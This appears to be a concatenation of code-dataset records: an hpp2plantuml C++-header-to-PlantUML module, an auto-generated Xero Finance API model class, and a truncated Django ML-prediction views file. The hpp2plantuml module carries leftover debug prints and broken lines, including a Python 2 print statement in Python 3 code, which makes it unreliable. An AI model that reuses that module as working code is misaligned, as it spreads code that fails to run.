assert(isinstance(class_variable, CppHeaderParser.CppHeaderParser.CppVariable)) super().__init__(class_variable, member_scope) self._type = _cleanup_type(class_variable['type']) def get_type(self): """Variable type accessor Returns ------- str Variable type as string """ return self._type class ClassMethod(ClassMember): """Class member method representation This class extends `ClassMember` for member methods. It stores additional method properties (abstract, destructor flag, input parameter types). """ def __init__(self, class_method, member_scope): """Constructor The method name and additional properties are extracted from the parsed header. * A list of parameter types is stored to retain the function signature. * The ``~`` character is appended to destructor methods. * ``const`` methods are flagged with the ``query`` property. Parameters ---------- class_method : CppMethod Parsed class member method member_scope : str Scope of the member method """ assert(isinstance(class_method, CppHeaderParser.CppHeaderParser.CppMethod)) super().__init__(class_method, member_scope) self._type = _cleanup_type(class_method['returns']) if class_method['returns_pointer']: self._type += '*' elif class_method['returns_reference']: self._type += '&' self._abstract = class_method['pure_virtual'] if class_method['destructor']: self._name = '~' + self._name if class_method['const']: self._properties.append('query') self._param_list = [] for param in class_method['parameters']: self._param_list.append([_cleanup_type(param['type']), param['name']]) def _render_name(self): """Internal rendering of method name This method extends the base :func:`ClassMember._render_name` method by adding the method signature to the returned string. Returns ------- str The method name (prefixed with the ``abstract`` keyword when appropriate) and signature """ assert(not self._static or not self._abstract) method_str = ('{abstract} ' if self._abstract else '') + \ self._name + '(' + \ ', '.join(' '.join(it).strip() for it in self._param_list) + ')' return method_str class Struct(Class): """Representation of C++ struct objects This class derived is almost identical to `Class`, the only difference being the container type name ("struct" instead of "class"). """ def __init__(self, header_struct): """Class constructor Parameters ---------- header_struct : list (str, CppStruct) Parsed header for struct object (two-element list where the first element is the structure name and the second element is a CppStruct object) """ super().__init__(header_struct[0]) super(Class).__init__('struct') class Enum(Container): """Class representing enum objects This class defines a simple object inherited from the base `Container` class. It simply lists enumerated values. """ def __init__(self, header_enum): """Constructor Parameters ---------- header_enum : CppEnum Parsed CppEnum object """ super().__init__('enum', header_enum.get('name', 'empty')) self.parse_members(header_enum) def _do_parse_members(self, header_enum): """Extract enum values from header Parameters ---------- header_enum : CppEnum Parsed `CppEnum` object """ for value in header_enum.get('values', []): self._member_list.append(EnumValue(value['name'])) class EnumValue(ContainerMember): """Class representing values in enum object This class only contains the name of the enum value (the actual integer value is ignored). """ def __init__(self, header_value, **kwargs): """Constructor Parameters ---------- header_value : str Name of enum member """ super().__init__(header_value) def render(self): """Rendering to string This method simply returns the variable name Returns ------- str The enumeration element name """ return self._name class ClassRelationship(object): """Base object for class relationships This class defines the common structure of class relationship objects. This includes a parent/child pair and a relationship type (e.g. inheritance or aggregation). """ def __init__(self, link_type, c_parent, c_child, flag_use_namespace=False): """Constructor Parameters ---------- link_type : str Relationship type: ``inherit`` or ``aggregation`` c_parent : str Name of parent class c_child : str Name of child class """ self._parent = c_parent.get_name() self._child = c_child.get_name() self._link_type = link_type self._parent_namespace = c_parent._namespace or None self._child_namespace = c_child._namespace or None self._flag_use_namespace = flag_use_namespace def comparison_keys(self): """Order comparison key between `ClassRelationship` objects Compare alphabetically based on the parent name, the child name then the link type. Returns ------- list `operator.attrgetter` objects for successive fields used as keys """ return self._parent, self._child, self._link_type def _render_name(self, class_name, class_namespace, flag_use_namespace): """Render class name with namespace prefix if necessary Parameters ---------- class_name : str Name of the class class_namespace : str Namespace or None if the class is defined in the default namespace flag_use_namespace : bool When False, do not use the namespace Returns ------- str Class name with appropriate prefix for use with link rendering """ if not flag_use_namespace: return class_name if class_namespace is None: prefix = '.' else: prefix = class_namespace + '.' return prefix + class_name def render(self): """Render class relationship to string This method generically appends the parent name, a rendering of the link type (obtained from the :func:`_render_link_type` method) and the child object name. Returns ------- str The string representation of the class relationship following the PlantUML syntax """ link_str = '' namespace_wrap = None if self._parent_namespace == self._child_namespace and \ self._parent_namespace is not None: namespace_wrap = self._parent_namespace flag_render_namespace = self._flag_use_namespace and not namespace_wrap parent_str = self._render_name(self._parent, self._parent_namespace, flag_render_namespace) child_str = self._render_name(self._child, self._child_namespace, flag_render_namespace) link_str += parent_str + ' ' + self._render_link_type() + \ ' ' + child_str + '\n' if namespace_wrap is not None: return wrap_namespace(link_str, namespace_wrap) return link_str def _render_link_type(self): """Internal representation of link The string representation is obtained from the `LINK_TYPE_MAP` constant. Returns ------- str The link between parent and child following the PlantUML syntax """ return LINK_TYPE_MAP[self._link_type] class ClassInheritanceRelationship(ClassRelationship): """Representation of inheritance relationships This module extends the base `ClassRelationship` class by setting the link type to ``inherit``. """ def __init__(self, c_parent, c_child, **kwargs): """Constructor Parameters ---------- c_parent : str Parent class c_child : str Derived class kwargs : dict Additional parameters passed to parent class """ super().__init__('inherit', c_parent, c_child, **kwargs) class ClassAggregationRelationship(ClassRelationship): """Representation of aggregation relationships This module extends the base `ClassRelationship` class by setting the link type to ``aggregation``. It also keeps a count of aggregation, which is displayed near the arrow when using PlantUML. Aggregation relationships are simplified to represent the presence of a variable type (possibly within a container such as a list) in a class definition. """ def __init__(self, c_object, c_container, c_count=1, rel_type='aggregation', **kwargs): """Constructor Parameters ---------- c_object : str Class corresponding to the type of the member variable in the aggregation relationship c_container : str Child (or client) class of the aggregation relationship c_count : int The number of members of ``c_container`` that are of type (possibly through containers) ``c_object`` rel_type : str Relationship type: ``aggregation`` or ``composition`` kwargs : dict Additional parameters passed to parent class """ super().__init__(rel_type, c_object, c_container, **kwargs) self._count = c_count def _render_link_type(self): """Internal link rendering This method overrides the default link rendering defined in :func:`ClassRelationship._render_link_type` to include a count near the end of the arrow. """ count_str = '' if self._count == 1 else '"%d" ' % self._count return count_str + LINK_TYPE_MAP[self._link_type] class ClassDependencyRelationship(ClassRelationship): """Dependency relationship Dependencies occur when member methods depend on an object of another class in the diagram. """ def __init__(self, c_parent, c_child, **kwargs): """Constructor Parameters ---------- c_parent : str Class corresponding to the type of the member variable in the dependency relationship c_child : str Child (or client) class of the dependency relationship kwargs : dict Additional parameters passed to parent class """ super().__init__('dependency', c_parent, c_child, **kwargs) class Diagram(object): """UML diagram object This class lists the objects in the set of files considered, and the relationships between object. The main interface to the `Diagram` object is via the ``create_*`` and ``add_*`` methods. The former parses objects and builds relationship lists between the different parsed objects. The latter only parses objects and does not builds relationship lists. Each method has versions for file and string inputs and folder string lists and file lists inputs. """ def __init__(self, template_file=None, flag_dep=False): """Constructor The `Diagram` class constructor simply initializes object lists. It does not create objects or relationships. """ self._flag_dep = flag_dep self.clear() loader_list = [] if template_file is not None: loader_list.append(jinja2.FileSystemLoader( os.path.abspath(os.path.dirname(template_file)))) self._template_file = os.path.basename(template_file) else: self._template_file = 'default.puml' loader_list.append(jinja2.PackageLoader('hpp2plantuml', 'templates')) self._env = jinja2.Environment(loader=jinja2.ChoiceLoader( loader_list), keep_trailing_newline=True) def clear(self): """Reinitialize object""" self._objects = [] self._inheritance_list = [] self._aggregation_list = [] self._dependency_list = [] def _sort_list(input_list): """Sort list using `ClassRelationship` comparison Parameters ---------- input_list : list(ClassRelationship) Sort list using the :func:`ClassRelationship.comparison_keys` comparison function """ input_list.sort(key=lambda obj: obj.comparison_keys()) def sort_elements(self): """Sort elements in diagram Sort the objects and relationship links. Objects are sorted using the :func:`Container.comparison_keys` comparison function and list are sorted using the `_sort_list` helper function. """ self._objects.sort(key=lambda obj: obj.comparison_keys()) for obj in self._objects: obj.sort_members() Diagram._sort_list(self._inheritance_list) Diagram._sort_list(self._aggregation_list) Diagram._sort_list(self._dependency_list) def _build_helper(self, input, build_from='string', flag_build_lists=True, flag_reset=False): """Helper function to initialize a `Diagram` object from parsed headers Parameters ---------- input : CppHeader or str or list(CppHeader) or list(str) Input of arbitrary type. The processing depends on the ``build_from`` parameter build_from : str Determines the type of the ``input`` variable: * ``string``: ``input`` is a string containing C++ header code * ``file``: ``input`` is a filename to parse * ``string_list``: ``input`` is a list of strings containing C++ header code * ``file_list``: ``input`` is a list of filenames to parse flag_build_lists : bool When True, relationships lists are built and the objects in the diagram are sorted, otherwise, only object parsing is performed flag_reset : bool If True, the object is initialized (objects and relationship lists are cleared) prior to parsing objects, otherwise, new objects are appended to the list of existing ones """ if flag_reset: self.clear() if build_from in ('string', 'file'): self.parse_objects(input, build_from) elif build_from in ('string_list', 'file_list'): print("ddddddddddddddddddddddddddddddddddddddddddd") print(input) build_from_single = re.sub('_list$', '', build_from) print("build_from_single: " + build_from_single) for single_input in input: print(" - " + single_input) self.parse_objects(single_input, build_from_single) print("ddddddddddddddddddddddddddddddddddddddddddd") if flag_build_lists: self.build_relationship_lists() self.sort_elements() def create_from_file(self, header_file): """Initialize `Diagram` object from header file Wrapper around the :func:`_build_helper` function, with ``file`` input, building the relationship lists and with object reset. """ self._build_helper(header_file, build_from='file', flag_build_lists=True, flag_reset=True) def create_from_file_list(self, file_list): """Initialize `Diagram` object from list of header files Wrapper around the :func:`_build_helper` function, with ``file_list`` input, building the relationship lists and with object reset. """ print("ccccccccccccccccccccccccccccccccccccccccccc") print file_list print("ccccccccccccccccccccccccccccccccccccccccccc") self._build_helper(file_list, build_from='file_list', flag_build_lists=True, flag_reset=True) def add_from_file(self, header_file): """Augment `Diagram` object from header file Wrapper around the :func:`_build_helper` function, with ``file`` input, skipping building of the relationship lists and without object reset (new objects are added to the object). """ self._build_helper(header_file, build_from='file', flag_build_lists=False, flag_reset=False) def add_from_file_list(self, file_list): """Augment `Diagram` object from list of header files Wrapper around the :func:`_build_helper` function, with ``file_list`` input, skipping building of the relationship lists and without object reset (new objects are added to the object). """ self._build_helper(file_list, build_from='file_list', flag_build_lists=False, flag_reset=False) def create_from_string(self, header_string): """Initialize `Diagram` object from header string Wrapper around the :func:`_build_helper` function, with ``string`` input, building the relationship lists and with object reset. """ self._build_helper(header_string, build_from='string', flag_build_lists=True, flag_reset=True) def create_from_string_list(self, string_list): """Initialize `Diagram` object from list of header strings Wrapper around the :func:`_build_helper` function, with ``string_list`` input, skipping building of the relationship lists and with object reset. """ self._build_helper(string_list, build_from='string_list', flag_build_lists=True, flag_reset=True) def add_from_string(self, header_string): """Augment `Diagram` object from header string Wrapper around the :func:`_build_helper` function, with ``string`` input, skipping building of the relationship lists and without object reset (new objects are added to the object). """ self._build_helper(header_string, build_from='string', flag_build_lists=False, flag_reset=False) def add_from_string_list(self, string_list): """Augment `Diagram` object from list of header strings Wrapper around the :func:`_build_helper` function, with ``string_list`` input, building the relationship lists and without object reset (new objects are added to the object). """ self._build_helper(string_list, build_from='string_list', flag_build_lists=False, flag_reset=False) def build_relationship_lists(self): """Build inheritance and aggregation lists from parsed objects This method successively calls the :func:`build_inheritance_list` and :func:`build_aggregation_list` methods. """ self.build_inheritance_list() self.build_aggregation_list() if self._flag_dep: self.build_dependency_list() def parse_objects(self, header_file, arg_type='string'): """Parse objects This method parses file of string inputs using the CppHeaderParser module and extracts internal objects for rendering. Parameters ---------- header_file : str A string containing C++ header code or a filename with C++ header code arg_type : str It set to ``string``, ``header_file`` is considered to be a string, otherwise, it is assumed to be a filename """ print("eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee") print(" header_file: " + header_file) print(" arg_type: " + arg_type) print("eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee") parsed_header = CppHeaderParser.CppHeader(header_file, argType=arg_type) print("fffffffffffffffffffffffffffffffffffffffffff") print("parsed_header: ") print("fffffffffffffffffffffffffffffffffffffffffff") for container_type, container_iterator, \ container_handler in CONTAINER_TYPE_MAP: objects = parsed_header.__getattribute__(container_type) print("ggggggggggggggggggggggggggggggggggggggggggg") print(" objects:") print(objects) print("ggggggggggggggggggggggggggggggggggggggggggg") for obj in container_iterator(objects): print("hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh") print(" obj:") print(obj) print("hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh") self._objects.append(container_handler(obj)) print("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") def _make_class_list(self): """Build list of classes Returns ------- list(dict) Each entry is a dictionary with keys ``name`` (class name) and ``obj`` the instance of the `Class` class """ return [{'name': obj.get_name(), 'obj': obj} for obj in self._objects if isinstance(obj, Class)] def build_inheritance_list(self): """Build list of inheritance between objects This method lists all the inheritance relationships between objects contained in the `Diagram` object (external relationships are ignored). The implementation establishes a list of available classes and loops over objects to obtain their inheritance. When parent classes are in the list of available classes, a `ClassInheritanceRelationship` object is added to the list. """ self._inheritance_list = [] class_list_obj = self._make_class_list() class_list = [c['name'] for c in class_list_obj] flag_use_namespace = any([c['obj']._namespace for c in class_list_obj]) for obj in self._objects: obj_name = obj.get_name() if isinstance(obj, Class): for parent in obj.build_inheritance_list(): if parent in class_list: parent_obj = class_list_obj[ class_list.index(parent)]['obj'] self._inheritance_list.append( ClassInheritanceRelationship( parent_obj, obj, flag_use_namespace=flag_use_namespace)) def build_aggregation_list(self): """Build list of aggregation relationships This method loops over objects and finds members with type corresponding to other classes defined in the `Diagram` object (keeping a count of occurrences). The procedure first builds an internal dictionary of relationships found, augmenting the count using the :func:`_augment_comp` function. In a second phase, `ClassAggregationRelationship` objects are created for each relationships, using the calculated count. """ self._aggregation_list = [] class_list_obj = self._make_class_list() class_list = [c['name'] for c in class_list_obj] flag_use_namespace = any([c['obj']._namespace for c in class_list_obj]) variable_type_list = {} for obj in self._objects: obj_name = obj.get_name() if isinstance(obj, Class): variable_type_list[obj_name] = obj.build_variable_type_list() aggregation_counts = {} for child_class in class_list: if child_class in variable_type_list.keys(): var_types = variable_type_list[child_class] for var_type in var_types: for parent in class_list: if re.search(r'\b' + parent + r'\b', var_type): rel_type = 'composition' if '{}*'.format(parent) in var_type: rel_type = 'aggregation' self._augment_comp(aggregation_counts, parent, child_class, rel_type=rel_type) for obj_class, obj_comp_list in aggregation_counts.items(): for comp_parent, rel_type, comp_count in obj_comp_list: obj_class_idx = class_list.index(obj_class) obj_class_obj = class_list_obj[obj_class_idx]['obj'] comp_parent_idx = class_list.index(comp_parent) comp_parent_obj = class_list_obj[comp_parent_idx]['obj'] self._aggregation_list.append( ClassAggregationRelationship( obj_class_obj, comp_parent_obj, comp_count, rel_type=rel_type, flag_use_namespace=flag_use_namespace)) def build_dependency_list(self): """Build list of dependency between objects This method lists all the dependency relationships between objects contained in the `Diagram` object (external relationships are ignored). The implementation establishes a list of available classes and loops over objects, list their methods adds a dependency relationship when a method takes an object as input. """ self._dependency_list = [] class_list_obj = self._make_class_list() class_list = [c['name'] for c in class_list_obj] flag_use_namespace = any([c['obj']._namespace for c in class_list_obj]) objects_name = [] for obj in self._objects: objects_name.append(obj.get_name()) for obj in self._objects: if isinstance(obj, Class): for member in obj._member_list: if isinstance(member, ClassMethod): for method in member._param_list: index = ValueError try: index = [re.search(o, method[0]) is not None for o in objects_name].index(True) except ValueError: pass if index != ValueError and \ method[0] != obj.get_name(): depend_obj = self._objects[index] self._dependency_list.append( ClassDependencyRelationship( depend_obj, obj, flag_use_namespace=flag_use_namespace)) def _augment_comp(self, c_dict, c_parent, c_child, rel_type='aggregation'): """Increment the aggregation reference count If the aggregation relationship is not in the list (``c_dict``), then add a new entry with count 1. If the relationship is already in the list, then increment the count. Parameters ---------- c_dict : dict List of aggregation relationships. For each dictionary key, a pair of (str, int) elements: string and number of occurrences c_parent : str Parent class name c_child : str Child class name rel_type : str Relationship type: ``aggregation`` or ``composition`` """ if c_child not in c_dict: c_dict[c_child] = [[c_parent, rel_type, 1], ] else: parent_list = [c[:2] for c in c_dict[c_child]] if [c_parent, rel_type] not in parent_list: c_dict[c_child].append([c_parent, rel_type, 1]) else: c_idx = parent_list.index([c_parent, rel_type]) c_dict[c_child][c_idx][2] += 1 def render(self): """Render full UML diagram The string returned by this function should be ready to use with the PlantUML program. It includes all the parsed objects with their members, and the inheritance and aggregation relationships extracted from the list of objects. Returns ------- str String containing the full string representation of the `Diagram` object, including objects and object relationships """ template = self._env.get_template(self._template_file) return template.render(objects=self._objects, inheritance_list=self._inheritance_list, aggregation_list=self._aggregation_list, dependency_list=self._dependency_list, flag_dep=self._flag_dep) def _cleanup_type(type_str): """Cleanup string representing a C++ type Cleanup simply consists in removing spaces before a ``*`` character and preventing multiple successive spaces in the string. Parameters ---------- type_str : str A string representing a C++ type definition Returns ------- str The type string after cleanup """ return re.sub(r'[ ]+([*&])', r'\1', re.sub(r'(\s)+', r'\1', type_str)) def _cleanup_single_line(input_str): """Cleanup string representing a C++ type Remove line returns Parameters ---------- input_str : str A string possibly spreading multiple lines Returns ------- str The type string in a single line """ return re.sub(r'\s+', ' ', re.sub(r'(\r)?\n', ' ', input_str)) def expand_file_list(input_files): """Find all files in list (expanding wildcards) This function uses `glob` to find files matching each string in the input list. Parameters ---------- input_files : list(str) List of strings representing file names and possibly including wildcards Returns ------- list(str) List of filenames (with wildcards expanded). Each element contains the name of an existing file """ file_list = [] for input_file in input_files: file_list += glob.glob(input_file) print("Input File: " + input_file) return file_list def wrap_namespace(input_str, namespace): """Wrap string in namespace Parameters ---------- input_str : str String containing PlantUML code namespace : str Namespace name Returns ------- str ``input_str`` wrapped in ``namespace`` block """ return 'namespace {} {{\n'.format(namespace) + \ '\n'.join([re.sub('^', '\t', line) for line in input_str.splitlines()]) + \ '\n}\n' def CreatePlantUMLFile(file_list, output_file=None, **diagram_kwargs): """Create PlantUML file from list of header files This function parses a list of C++ header files and generates a file for use with PlantUML. Parameters ---------- file_list : list(str) List of filenames (possibly, with wildcards resolved with the :func:`expand_file_list` function) output_file : str Name of the output file diagram_kwargs : dict Additional parameters passed to :class:`Diagram` constructor """ print("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") print("file_list: ") print(file_list) print("output_file: " + output_file) print("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") if isinstance(file_list, str): file_list_c = [file_list, ] else: file_list_c = file_list print("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb") print("file_list_c: ") print(file_list_c) print("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb") diag = Diagram(**diagram_kwargs) diag.create_from_file_list(list(set(expand_file_list(file_list_c)))) diag_render = diag.render() if output_file is None: print(diag_render) else: print("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz") print(diag_render) print("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz") with open(output_file, 'wt') as fid: fid.write(diag_render) def main(): """Command line interface This function is a command-line interface to the :func:`hpp2plantuml.CreatePlantUMLFile` function. Arguments are read from the command-line, run with ``--help`` for help. """ parser = argparse.ArgumentParser(description='hpp2plantuml tool.') parser.add_argument('-i', '--input-file', dest='input_files', action='append', metavar='HEADER-FILE', required=True, help='input file (must be quoted' + ' when using wildcards)') parser.add_argument('-o', '--output-file', dest='output_file', required=False, default=None, metavar='FILE', help='output file') parser.add_argument('-d', '--enable-dependency', dest='flag_dep', required=False, default=False, action='store_true', help='Extract dependency relationships from method ' + 'arguments') parser.add_argument('-t', '--template-file', dest='template_file', required=False, default=None, metavar='JINJA-FILE', help='path to jinja2 template file') parser.add_argument('--version', action='version', version='%(prog)s ' + '0.6') args = parser.parse_args() if len(args.input_files) > 0: CreatePlantUMLFile(args.input_files, args.output_file, template_file=args.template_file, flag_dep=args.flag_dep) if __name__ == '__main__': main()

false

true

f7f360488857f1d0d507401002b819f7595d3610

3,644

py

Python

xero_python/finance/models/pnl_account_type.py

gavinwhyte/xero-python

53a028c3b7c51da1db203b616bf7b7a028a4a1d2

[ "MIT" ]

1

2022-01-22T20:50:36.000Z

xero_python/finance/models/pnl_account_type.py

kos7138/xero-python

fd4b00016366880d61b42437397e732f53fc8ce2

[ "MIT" ]

null

xero_python/finance/models/pnl_account_type.py

kos7138/xero-python

fd4b00016366880d61b42437397e732f53fc8ce2

[ "MIT" ]

null

# coding: utf-8 """ Xero Finance API The Finance API is a collection of endpoints which customers can use in the course of a loan application, which may assist lenders to gain the confidence they need to provide capital. # noqa: E501 Contact: api@xero.com Generated by: https://openapi-generator.tech """ import re # noqa: F401 from xero_python.models import BaseModel class PnlAccountType(BaseModel): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = {"total": "float", "title": "str", "accounts": "list[PnlAccount]"} attribute_map = {"total": "total", "title": "title", "accounts": "accounts"} def __init__(self, total=None, title=None, accounts=None): # noqa: E501 """PnlAccountType - a model defined in OpenAPI""" # noqa: E501 self._total = None self._title = None self._accounts = None self.discriminator = None if total is not None: self.total = total if title is not None: self.title = title if accounts is not None: self.accounts = accounts @property def total(self): """Gets the total of this PnlAccountType. # noqa: E501 Total movement on this account type # noqa: E501 :return: The total of this PnlAccountType. # noqa: E501 :rtype: float """ return self._total @total.setter def total(self, total): """Sets the total of this PnlAccountType. Total movement on this account type # noqa: E501 :param total: The total of this PnlAccountType. # noqa: E501 :type: float """ self._total = total @property def title(self): """Gets the title of this PnlAccountType. # noqa: E501 Name of this account type, it will be either Trading Income or Other Income for Revenue section / Direct Cost or Operating Expenses for Expense section # noqa: E501 :return: The title of this PnlAccountType. # noqa: E501 :rtype: str """ return self._title @title.setter def title(self, title): """Sets the title of this PnlAccountType. Name of this account type, it will be either Trading Income or Other Income for Revenue section / Direct Cost or Operating Expenses for Expense section # noqa: E501 :param title: The title of this PnlAccountType. # noqa: E501 :type: str """ self._title = title @property def accounts(self): """Gets the accounts of this PnlAccountType. # noqa: E501 A list of the movement on each account detail during the query period. Refer to the account detail element below # noqa: E501 :return: The accounts of this PnlAccountType. # noqa: E501 :rtype: list[PnlAccount] """ return self._accounts @accounts.setter def accounts(self, accounts): """Sets the accounts of this PnlAccountType. A list of the movement on each account detail during the query period. Refer to the account detail element below # noqa: E501 :param accounts: The accounts of this PnlAccountType. # noqa: E501 :type: list[PnlAccount] """ self._accounts = accounts

30.621849

201

0.627333

import re from xero_python.models import BaseModel class PnlAccountType(BaseModel): openapi_types = {"total": "float", "title": "str", "accounts": "list[PnlAccount]"} attribute_map = {"total": "total", "title": "title", "accounts": "accounts"} def __init__(self, total=None, title=None, accounts=None): self._total = None self._title = None self._accounts = None self.discriminator = None if total is not None: self.total = total if title is not None: self.title = title if accounts is not None: self.accounts = accounts @property def total(self): return self._total @total.setter def total(self, total): self._total = total @property def title(self): return self._title @title.setter def title(self, title): self._title = title @property def accounts(self): return self._accounts @accounts.setter def accounts(self, accounts): self._accounts = accounts

true

f7f3641317730b4ed7058654c1d3a40be0000475

10,365

py

Python

backend/ml_service/apps/endpoints/views.py

cx201910/first_ml

b4ece4f275911707dda5ca461989f1dfdbf25021

[ "MIT" ]

null

backend/ml_service/apps/endpoints/views.py

cx201910/first_ml

b4ece4f275911707dda5ca461989f1dfdbf25021

[ "MIT" ]

null

backend/ml_service/apps/endpoints/views.py

cx201910/first_ml

b4ece4f275911707dda5ca461989f1dfdbf25021

[ "MIT" ]

null

from django.shortcuts import render from rest_framework import viewsets from rest_framework import mixins from rest_framework.exceptions import APIException from rest_framework.decorators import action from .models import Endpoint from .serializers import EndpointSerializer from .models import MLAlgorithm from .serializers import MLAlgorithmSerializer from .models import MLAlgorithmStatus from .serializers import MLAlgorithmStatusSerializer from .models import MLRequest from .serializers import MLRequestSerializer import json from numpy.random import rand from rest_framework import views, status from rest_framework.response import Response from apps.ml.registry import MLRegistry from ml_service.wsgi import registry from django.db import transaction from apps.endpoints.models import ABTest from apps.endpoints.serializers import ABTestSerializer from apps.endpoints.models import PredictStore from apps.endpoints.serializers import PredictStoreSerializer from django.db.models import F import datetime # Create your views here. class EndpointViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet): serializer_class = EndpointSerializer queryset = Endpoint.objects.all() class MLAlgorithmViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet): serializer_class = MLAlgorithmSerializer queryset = MLAlgorithm.objects.all() def deactivate_other_statuses(instance): old_statuses = MLAlgorithmStatus.objects.filter(parent_mlalgorithm = instance.parent_mlalgorithm, created_at__lt=instance.created_at, active=True) for i in range(len(old_statuses)): old_statuses[i].active = False MLAlgorithmStatus.objects.bulk_update(old_statuses, ['active']) class MLAlgorithmStatusViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, mixins.CreateModelMixin, viewsets.GenericViewSet): serializer_class = MLAlgorithmStatusSerializer queryset = MLAlgorithmStatus.objects.all() def perform_create(self, serializer): try: with transaction.atomic(): instance = serializer.save(active=True) # set active=False for other statuses deactivate_other_statuses(instance) except Exception as e: raise APIException(str(e)) class MLRequestViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, mixins.UpdateModelMixin, viewsets.GenericViewSet): serializer_class = MLRequestSerializer queryset = MLRequest.objects.all() class PredictView(views.APIView): def post(self, request, endpoint_name, format=None): algorithm_status = self.request.query_params.get('status', 'production') algorithm_version = self.request.query_params.get('version') algs = MLAlgorithm.objects.filter(parent_endpoint__name=endpoint_name, status__status=algorithm_status, status__active=True) if algorithm_version is not None: algs = algs.filter(version = algorithm_version) if len(algs) == 0: return Response( {'status': 'Error', 'message': 'ML algorithm is not available'}, status=status.HTTP_400_BAD_REQUEST, ) if len(algs) != 1 and algorithm_status != 'ab_testing': return Response( {'status': f'Error of {len(algs)} algorithms', 'message': 'ML algorithm selection is ambiguous. Please specify algorithm version.'}, status=status.HTTP_400_BAD_REQUEST, ) alg_index = 0 if algorithm_status == 'ab_testing': alg_index = 0 if rand() < 0.5 else 1 algorithm_object = registry.endpoints[algs[alg_index].id] prediction = algorithm_object.compute_prediction(request.data) label = prediction['label'] if 'label' in prediction else 'error' ml_request = MLRequest( input_data=json.dumps(request.data), full_response=prediction, response=label, feedback='', parent_mlalgorithm=algs[alg_index], ) ml_request.save() prediction['request_id'] = ml_request.id return Response(prediction) class ABTestViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet, mixins.CreateModelMixin, mixins.UpdateModelMixin): serializer_class = ABTestSerializer queryset = ABTest.objects.all() def perform_create(self, serializer): try: with transaction.atomic(): instance = serializer.save() # update status for first algorithm status_1 = MLAlgorithmStatus(status = 'ab_testing', created_by=instance.created_by, parent_mlalgorithm = instance.parent_mlalgorithm_1, active=True) status_1.save() deactivate_other_statuses(status_1) # update status for second algorithm status_2 = MLAlgorithmStatus(status = 'ab_testing', created_by=instance.created_by, parent_mlalgorithm = instance.parent_mlalgorithm_2, active=True) status_2.save() deactivate_other_statuses(status_2) except Exception as e: raise APIException(str(e)) class StopABTestView(views.APIView): def post(self, request, ab_test_id, format=None): try: ab_test = ABTest.objects.get(pk=ab_test_id) if ab_test.ended_at is not None: return Response({'message': 'AB Test already finished.'}) date_now = datetime.datetime.now() # alg #1 accuracy all_responses_1 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_1, created_at__gt = ab_test.created_at, created_at__lt = date_now).count() correct_responses_1 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_1, created_at__gt = ab_test.created_at, created_at__lt = date_now, response=F('feedback')).count() accuracy_1 = correct_responses_1 / float(all_responses_1) print(all_responses_1, correct_responses_1, accuracy_1) # alg #2 accuracy all_responses_2 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_2, created_at__gt = ab_test.created_at, created_at__lt = date_now).count() correct_responses_2 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_2, created_at__gt = ab_test.created_at, created_at__lt = date_now, response=F('feedback')).count() accuracy_2 = correct_responses_2 / float(all_responses_2) print(all_responses_2, correct_responses_2, accuracy_2) # select algorithm with higher accuracy alg_id_1, alg_id_2 = ab_test.parent_mlalgorithm_1, ab_test.parent_mlalgorithm_2 # swap if accuracy_1 < accuracy_2: alg_id_1, alg_id_2 = alg_id_2, alg_id_1 status_1 = MLAlgorithmStatus(status = 'production', created_by=ab_test.created_by, parent_mlalgorithm = alg_id_1, active=True) status_1.save() deactivate_other_statuses(status_1) # update status for second algorithm status_2 = MLAlgorithmStatus(status = 'testing', created_by=ab_test.created_by, parent_mlalgorithm = alg_id_2, active=True) status_2.save() deactivate_other_statuses(status_2) summary = 'Algorithm #1 accuracy: {}, Algorithm #2 accuracy: {}'.format(accuracy_1, accuracy_2) ab_test.ended_at = date_now ab_test.summary = summary ab_test.save() except Exception as e: return Response({'status': 'Error', 'message': str(e)}, status=status.HTTP_400_BAD_REQUEST ) return Response({'message': 'AB Test finished.', 'summary': summary}) class PredictStoreViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet): serializer_class = PredictStoreSerializer queryset = PredictStore.objects.all() @action(detail=True, methods=['post']) def predict(self, request, pk=None, format=None): serializer = PredictStoreSerializer(data=request.data) if serializer.is_valid(): ml_algorithm_s = serializer.validated_data['ml_algorithm'] created_by_s = serializer.validated_data['created_by'] target = serializer.validated_data['target'] else: return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) alg_status = MLAlgorithmStatus(status='production', created_by=created_by_s, parent_mlalgorithm=ml_algorithm_s, active=True) alg_status.save() deactivate_other_statuses(alg_status) data = json.loads(request.data['input_data']) algs = MLAlgorithm.objects.filter(status__parent_mlalgorithm=ml_algorithm_s, status__active=True) algorithm_object = registry.endpoints[algs[0].id] prediction = algorithm_object.compute_prediction(data) label = prediction['label'] if 'label' in prediction else 'error' ml_request = MLRequest( input_data=json.dumps(data), full_response=prediction, response=label, feedback=target, parent_mlalgorithm=algs[0], ) ml_request.save() prediction["request_id"] = ml_request.id if serializer.is_valid(): serializer.validated_data['prediction'] = 